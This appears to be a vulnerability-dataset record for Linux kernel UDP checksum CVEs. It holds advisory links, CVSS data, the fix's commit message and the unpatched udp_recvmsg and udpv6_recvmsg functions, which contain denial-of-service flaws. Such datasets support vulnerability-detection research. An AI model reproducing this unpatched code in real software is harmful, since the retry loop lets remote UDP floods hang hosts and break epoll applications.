'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'name': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032794', 'name': '1032794', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1623.html', 'name': 'RHSA-2015:1623', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 provide inappropriate -EAGAIN return values, which allows remote attackers to cause a denial of service (EPOLLET epoll application read outage) via an incorrect checksum in a UDP packet, a different vulnerability than CVE-2015-5364.'}]
2018-01-05T02:30Z
2015-08-31T10:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
Eric Dumazet
2015-05-30 09:16:53-07:00
udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <[email protected]> Cc: Willem de Bruijn <[email protected]> Signed-off-by: David S. Miller <[email protected]>
beb39db59d14990e401e235faf66a6b9b31240b0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
udp_recvmsg
udp_recvmsg( struct sock * sk , struct msghdr * msg , size_t len , int noblock , int flags , int * addr_len)
['sk', 'msg', 'len', 'noblock', 'flags', 'addr_len']
int udp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *inet = inet_sk(sk); DECLARE_SOCKADDR(struct sockaddr_in *, sin, msg->msg_name); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); bool slow; if (flags & MSG_ERRQUEUE) return ip_recv_error(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udp_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; sin->sin_port = udp_hdr(skb)->source; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(sin->sin_zero, 0, sizeof(sin->sin_zero)); *addr_len = sizeof(*sin); } if (inet->cmsg_flags) ip_cmsg_recv_offset(msg, skb, sizeof(struct udphdr)); err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }
503
True
1
CVE-2015-5364
False
False
False
False
AV:N/AC:L/Au:N/C:N/I:N/A:C
NETWORK
LOW
NONE
NONE
NONE
COMPLETE
7.8
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'https://twitter.com/grsecurity/status/605854034260426753', 'name': 'https://twitter.com/grsecurity/status/605854034260426753', 'refsource': 'MISC', 'tags': []}, {'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/30/13', 'name': '[oss-security] 20150630 CVE Request: UDP checksum DoS', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1225', 'name': 'RHSA-2016:1225', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/75510', 'name': '75510', 'refsource': 'BID', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1100.html', 'name': 'RHSA-2016:1100', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1096.html', 'name': 'RHSA-2016:1096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0045.html', 'name': 'RHSA-2016:0045', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2682-1', 'name': 'USN-2682-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3313', 'name': 'DSA-3313', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00010.html', 'name': 'SUSE-SU-2015:1490', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'name': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032794', 'name': '1032794', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1623.html', 'name': 'RHSA-2015:1623', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
HIGH
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 do not properly consider yielding a processor, which allows remote attackers to cause a denial of service (system hang) via incorrect checksums within a UDP packet flood.'}]
2018-01-05T02:30Z
2015-08-31T10:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
Eric Dumazet
2015-05-30 09:16:53-07:00
udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <[email protected]> Cc: Willem de Bruijn <[email protected]> Signed-off-by: David S. Miller <[email protected]>
beb39db59d14990e401e235faf66a6b9b31240b0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
udpv6_recvmsg
udpv6_recvmsg( struct sock * sk , struct msghdr * msg , size_t len , int noblock , int flags , int * addr_len)
['sk', 'msg', 'len', 'noblock', 'flags', 'addr_len']
int udpv6_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct ipv6_pinfo *np = inet6_sk(sk); struct inet_sock *inet = inet_sk(sk); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); int is_udp4; bool slow; if (flags & MSG_ERRQUEUE) return ipv6_recv_error(sk, msg, len, addr_len); if (np->rxpmtu && np->rxopt.bits.rxpmtu) return ipv6_recv_rxpmtu(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; is_udp4 = (skb->protocol == htons(ETH_P_IP)); /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udpv6_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) { if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); } sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (msg->msg_name) { DECLARE_SOCKADDR(struct sockaddr_in6 *, sin6, msg->msg_name); sin6->sin6_family = AF_INET6; sin6->sin6_port = udp_hdr(skb)->source; sin6->sin6_flowinfo = 0; if (is_udp4) { ipv6_addr_set_v4mapped(ip_hdr(skb)->saddr, &sin6->sin6_addr); sin6->sin6_scope_id = 0; } else { sin6->sin6_addr = ipv6_hdr(skb)->saddr; sin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr, inet6_iif(skb)); } *addr_len = sizeof(*sin6); } if (np->rxopt.all) ip6_datagram_recv_common_ctl(sk, msg, skb); if (is_udp4) { if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); } else { if (np->rxopt.all) ip6_datagram_recv_specific_ctl(sk, msg, skb); } err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { if (is_udp4) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } else { UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }
698
True
1
CVE-2015-5366
False
False
False
False
AV:N/AC:L/Au:N/C:N/I:N/A:P
NETWORK
LOW
NONE
NONE
NONE
PARTIAL
5.0
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
[{'url': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'name': 'http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.0.6', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1239029', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/30/13', 'name': '[oss-security] 20150630 CVE Request: UDP checksum DoS', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'name': 'https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1225', 'name': 'RHSA-2016:1225', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjan2016-2867209.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinoct2015-2719645.html', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securityfocus.com/bid/75510', 'name': '75510', 'refsource': 'BID', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1100.html', 'name': 'RHSA-2016:1100', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-1096.html', 'name': 'RHSA-2016:1096', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0045.html', 'name': 'RHSA-2016:0045', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00021.html', 'name': 'SUSE-SU-2015:1611', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00018.html', 'name': 'SUSE-SU-2015:1592', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3329', 'name': 'DSA-3329', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00004.html', 'name': 'SUSE-SU-2015:1478', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1787.html', 'name': 'RHSA-2015:1787', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1778.html', 'name': 'RHSA-2015:1778', 'refsource': 'REDHAT', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2714-1', 'name': 'USN-2714-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2713-1', 'name': 'USN-2713-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2684-1', 'name': 'USN-2684-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2683-1', 'name': 'USN-2683-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2682-1', 'name': 'USN-2682-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2681-1', 'name': 'USN-2681-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.ubuntu.com/usn/USN-2680-1', 'name': 'USN-2680-1', 'refsource': 'UBUNTU', 'tags': []}, {'url': 'http://www.debian.org/security/2015/dsa-3313', 'name': 'DSA-3313', 'refsource': 'DEBIAN', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00011.html', 'name': 'SUSE-SU-2015:1491', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00010.html', 'name': 'SUSE-SU-2015:1490', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00009.html', 'name': 'SUSE-SU-2015:1489', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00008.html', 'name': 'SUSE-SU-2015:1488', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00007.html', 'name': 'SUSE-SU-2015:1487', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00011.html', 'name': 'openSUSE-SU-2015:1382', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00049.html', 'name': 'SUSE-SU-2015:1324', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2015-07/msg00023.html', 'name': 'SUSE-SU-2015:1224', 'refsource': 'SUSE', 'tags': []}, {'url': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'name': 'http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10761', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.securitytracker.com/id/1032794', 'name': '1032794', 'refsource': 'SECTRACK', 'tags': []}, {'url': 'http://rhn.redhat.com/errata/RHSA-2015-1623.html', 'name': 'RHSA-2015:1623', 'refsource': 'REDHAT', 'tags': []}]
[{'description': [{'lang': 'en', 'value': 'CWE-399'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndIncluding': '4.0.5', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:redhat:enterprise_linux_server_aus:6.5:*:*:*:*:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 provide inappropriate -EAGAIN return values, which allows remote attackers to cause a denial of service (EPOLLET epoll application read outage) via an incorrect checksum in a UDP packet, a different vulnerability than CVE-2015-5364.'}]
2018-01-05T02:30Z
2015-08-31T10:59Z
Resource Management Errors
Weaknesses in this category are related to improper management of system resources.
https://cwe.mitre.org/data/definitions/399.html
1
Eric Dumazet
2015-05-30 09:16:53-07:00
udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <[email protected]> Cc: Willem de Bruijn <[email protected]> Signed-off-by: David S. Miller <[email protected]>
beb39db59d14990e401e235faf66a6b9b31240b0
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
udpv6_recvmsg
udpv6_recvmsg( struct sock * sk , struct msghdr * msg , size_t len , int noblock , int flags , int * addr_len)
['sk', 'msg', 'len', 'noblock', 'flags', 'addr_len']
int udpv6_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct ipv6_pinfo *np = inet6_sk(sk); struct inet_sock *inet = inet_sk(sk); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); int is_udp4; bool slow; if (flags & MSG_ERRQUEUE) return ipv6_recv_error(sk, msg, len, addr_len); if (np->rxpmtu && np->rxopt.bits.rxpmtu) return ipv6_recv_rxpmtu(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; is_udp4 = (skb->protocol == htons(ETH_P_IP)); /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udpv6_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) { if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); } sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (msg->msg_name) { DECLARE_SOCKADDR(struct sockaddr_in6 *, sin6, msg->msg_name); sin6->sin6_family = AF_INET6; sin6->sin6_port = udp_hdr(skb)->source; sin6->sin6_flowinfo = 0; if (is_udp4) { ipv6_addr_set_v4mapped(ip_hdr(skb)->saddr, &sin6->sin6_addr); sin6->sin6_scope_id = 0; } else { sin6->sin6_addr = ipv6_hdr(skb)->saddr; sin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr, inet6_iif(skb)); } *addr_len = sizeof(*sin6); } if (np->rxopt.all) ip6_datagram_recv_common_ctl(sk, msg, skb); if (is_udp4) { if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); } else { if (np->rxopt.all) ip6_datagram_recv_specific_ctl(sk, msg, skb); } err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { if (is_udp4) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } else { UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }
698
True
1
CVE-2015-4692
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
nan
True
[{'url': 'https://github.com/torvalds/linux/commit/ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009', 'name': 'https://github.com/torvalds/linux/commit/ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009', 'refsource': 'CONFIRM', 'tags': []}, {'url': 'http://www.openwall.com/lists/oss-security/2015/06/21/1', 'name': '[oss-security] 20150620 Re: CVE request -- Linux kernel - kvm: x86: NULL pointer dereference in kvm_apic_has_events function', 'refsource': 'MLIST', 'tags': []}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1230770', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1230770', 'refsource': 'CONFIRM', 'tags': ['Vendor Advisory']}, {'url': 'http://www.securityfocus.com/bid/75142', 'name': '75142', 'refsource': 'BID', 'tags': []}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2015-June/161144.html', 'name': 'FEDORA-2015-10678', 'refsource': 'FEDORA', 'tags': []}, {'url': 